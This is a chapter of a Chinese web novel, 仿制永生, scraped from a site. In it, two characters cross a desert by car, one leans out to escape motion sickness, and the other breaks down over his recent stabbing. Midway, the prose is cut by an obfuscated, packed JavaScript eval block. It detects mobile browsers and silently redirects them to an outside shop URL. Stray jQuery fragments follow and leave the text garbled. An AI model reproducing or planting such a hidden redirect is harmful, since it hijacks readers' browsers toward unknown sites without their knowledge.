文趣网 > 都市小说 > 仿制永生 > 74. 车上
    “我们要去哪里?”安昱一手扶着越野车外的车架,微微侧过头看向驾驶位上的临川。

    临川的车速不快,虽然安昱还是会感觉到一阵一阵的眩晕,不过起码没有更严重的反应。临川给他摇下了车窗,外面的空气灌入密闭的车里,多少也能让安昱舒服一点。

    “带你私奔。”临川转过头看了一眼脸色还有些苍白的安昱,嘴角是不加掩饰的笑意,“愿意和我一直在沙漠里流浪吗?”

    就像是深夜的月光一样,临川的眼里闪着光芒,向安昱发出无声而致命的诱惑。

    安昱不自觉地想要回应,但理智又让他瞬间清醒过来:“这是去‘东方’的方向吗?”

    漫天的黄沙下,安昱看着临川眼底的月光暗了暗,却又装作若无其事的样子回应:“算是吧,怀霜村长也不太记得清传说中的东方在哪里,但是他说当年他的父母带他离开之后有在别的生态所住过一段时间。生态所就是之前城区派人类来做生态实验,重新建设家园的站点,那里可能有旧纪元的庇护所地图。”

    生态所……

    安昱抬头看向沙漠中遮天蔽日的黄沙,灰蒙蒙的天空和贫瘠荒凉的土地——看起来生态所并没有完成他们的目标。

    沙漠还是沙漠,城区还是城区。

    城区的人类还是没有走出庇护所的大门。

    “……根据怀霜村长的回忆,我们要去的地方是当年他的父母建立桃源村前去的最后一个生态所,据说这个生态所建立的时间最早,人口规模最大。”临川示意安昱打开他放在车里的地图,泛黄的纸上潦草的勾画出绿洲、桃源村和城区的位置,还有几个模糊的圆圈,其中有一个被红色的笔涂画上,看起来应该就是他们俩这次出行的目的地了。

    “村长他还好吗?”地图上的笔迹看上去有些凌乱无力,怎么看都不会是临川他们画出来的,应该是村长勉强给他们准备的。

    “他的年龄到了。”临川微微地叹了口气,作为医者他看惯了生死离别,但还是不免有些悲哀。

    人类对死亡的恐惧甚至远超过了死亡本身。

    而无欲无求的安昱却获得了不死的身躯。

    安昱沉默地看着这副“鬼画符”一样的地图,珍惜的抚摸着上面的痕迹,脑海里会想起那位和蔼的、饱经风霜的老人。也不知道自己是否还能在村长的有生之年里再去见他一面。

    时间会带走所有人,安昱转头看向正在研究地图确认方位的临川,他不知道自己是否应该回应临川的爱意。

    眼前的临川终究会被时间带走,而他呢?在培养皿里跳过了婴儿时期,也没有经历过儿童和少年时代的自己,是拥有了比常人更为漫长的时间,还是会在未来的某一天极速衰败,走向死亡的结局?

    没有人能给安昱一个答案。

    “看起来再开几个小时就能到了。”临川收起地图和指南针,抬起头看到安昱正在出神地看着自己,“安昱?”

    “啊,没事。”安昱慌乱地收回了自己的目光,顺手接过了临川手里的地图和指南针,“村长有说过生存所有什么记号吗?”

    提到这里,临川很无奈的摇了摇头,“没有,甚至过去了几十年,村长都不能确认生存所会不会在沙漠的风沙里坍塌了。”

    毕竟生存所在老人的描述中更像是那时的人类为了能在沙漠中经行科研而临时搭建的建筑物,那么多年过去是否还能找到它的遗迹都是一个未知数。

    他们只能在心中祈祷,祈祷曾经的人类能够给后人以指引。

    “感觉还好吗,要不要我停一会?”在越野车里呆得久了,即使开着窗呼吸着空气,安昱也不免有些昏沉难受。临川看着原本好好坐着、还能摆造型耍帅的人一点点变成瘫在座位上的人形液体,原本就苍白的脸更是毫无血色,担心的放慢了车速,随时准备停下来。

    “我没事,你继续开。”安昱硬撑着把自己支棱起来,右手反手搭在车身外的窗沿上,也不知道晕眩中的他哪里来得力气把自己半个身子都探了出去,双手就这样抓着窗沿。

    临川被安昱的动作吓得几乎要把刹车踩到底,但又害怕惯性会把半个身子都在外面的安昱甩下车,只能小心翼翼地控制着车速,一边朝着安昱大喊:“快下来!危险!”

    可安昱似乎听不见临川的声音一样,他大口大口的呼吸着迎面吹来的风,眩晕的感觉一点点消退,他在风中向着临川喊回去:“你继续开,我没事!”

    这是安昱第一次享受起这种载具,他甚至松开了一只手,单手拉着窗沿,一手感受着迎面打来的沙砾。

    只有临川被安昱大胆的动作吓出了一身的冷汗,既不敢停车,也不敢加速。

    似乎是在外面呼吸够了,安昱灵巧的翻回了车里,微微的喘息着。

    临川侧过头去,安昱的脸色似乎在刚才的刺激中红润了不少。

    “这样很危险的。”临川严肃的板起脸,他死死地盯着前方的路,一点余光也不敢分给安昱:他生怕自己多看一眼就狠不下心来教育安昱了。

    安昱抬眼看向左上方的后视镜,后视镜里临川满脸的认真和紧张,有着不同寻常的紧张感:“可是这样吹吹风很舒服。”

    安昱的语气里带着满满的兴奋和愉悦,似乎一点也没有注意到临川的严肃一样。

    “如果我刹车了呢?如果你没抓稳呢?如果……”

    临川有些神经质一样“突突突”的说出一连串的如果,他不敢想象如果安昱出了事会怎么样,即使安昱能够自愈,即使安昱感受不到痛楚,可是他会心疼的,他会痛的。

    “我不会的。”安昱带着笑意看向后视镜里临川严肃板正的脸,“因为开车的是你。”

    很多时候,临川都觉得安昱是故意装作没有情感的机器在调戏自己,就像是现在这样。

    越是冷漠无情,却越会在不经意之间让人心动。

    饶是临川有心教育安昱什么叫做“行车安全”,在安昱认真而又直白的话语中也变成了不轻不重地一句:“下次不许这样了。”

    安昱是不会听进去的,临川一边打着方向盘一边想,他太容易晕车了,为

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17782293|210126||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    了让自己能够保持状态而不至于影响他们这次的行程,安昱看上去一点也没有会听话的样子。

    可是偏偏自己也没办法降低安昱的不适感,明明刚刚经历了死而复生是最需要休息和恢复的时候,可安昱却一个人跑出了绿洲,在荒芜的沙漠里流浪。如果不是自己出现在那里,或许安昱还要独自一个人跑去桃源村。

    在风中变得红润的脸在颠簸中一点一点的失去血色,安昱从原本的兴奋逐渐变得平静,又逐渐显露出疲惫和困倦。

    临川看着安昱靠在窗框边上,风沙扑在他的脸上,而安昱的眼睛已经几乎要闭上。“去后面睡一会儿吧。”临川实在不忍心看着安昱一点一点萎靡下去,可在把身体探出去的动作实在危险。

    “没事……我去吹吹风就好。”安昱用力的揉了一把自己的脸,攀着钢铁的车身就要翻出去。

    临川一脚急刹,车子猛地停住,安昱和临川都不由得往前倾倒,临川的脑袋甚至险些撞上方向盘:“去后面躺下睡会,不许翻出去。”

    在晕眩中又被惯性狠狠的甩了一下的安昱整个人都是晕乎乎的,他看着临川的嘴巴一张一合,费力的听清了临川在说什么。

    即使知道自己现在再和临川争论什么已经没有意义了,可安昱在侧身把自己挤进前排的座位之间,看着临川非常认真而又有些心疼的眼神,他还是忍不住想要安慰一下过分担心自己的临川:“我没事的,你开车比周炽稳很多,而且我摔下去也不要紧……”

    “怎么会不要紧?”安昱对自己身体无所谓的态度几乎在一瞬间点燃了临川的情绪,他伸手拦住安昱的动作,强势得让本就有些晕眩的安昱摔坐在了车中央的控制台上。

    安昱迷迷糊糊地对上临川的眼神,平日里总是温温柔柔的临川此时活像要把安昱拆吞入腹,极具侵略性和攻击性的目光让安昱的防御本能瞬间激活,肌肉紧绷地进入备战,昏沉的大脑也清明了不少。

    “你知不知道刀捅进心脏对人体有多大的伤害?你知不知道失血过量有多伤人的元气?你怎么敢……”从听到阿隼的报信,到走进小诊所,闻到空气中还没有散去的血腥味,看到小诊所里凌乱的血迹,临川的大脑一瞬间是空白的。

    他甚至不敢再走进小诊所里,因为一走近就能闻到安昱的血。

    他真的很害怕,害怕自己找不到安昱,或者找到的是安昱长睡不醒的尸体。

    那样长的刀,那样多的血。

    纵使他知道安昱的自愈能力,纵使他听到安昱是自己离开的。

    可他还是害怕,他怕他心中的白瓷会消失在沙漠的风沙里,他怕安昱会悄无声息的让自己死去。

    安昱不会痛,可临川会。

    他会心疼,会生气,会愤怒,会爱——他是个正常的人类,可他爱上了一个无知无觉无喜无悲无欲无求的安昱。

    “临川。”安昱看着面前愤怒却又泪流满面的人类,他的眼里有那么多、那么复杂的让安昱看不懂的东西,好像要把自己的一切都放在安昱面前一样,“你不应该喜欢我。”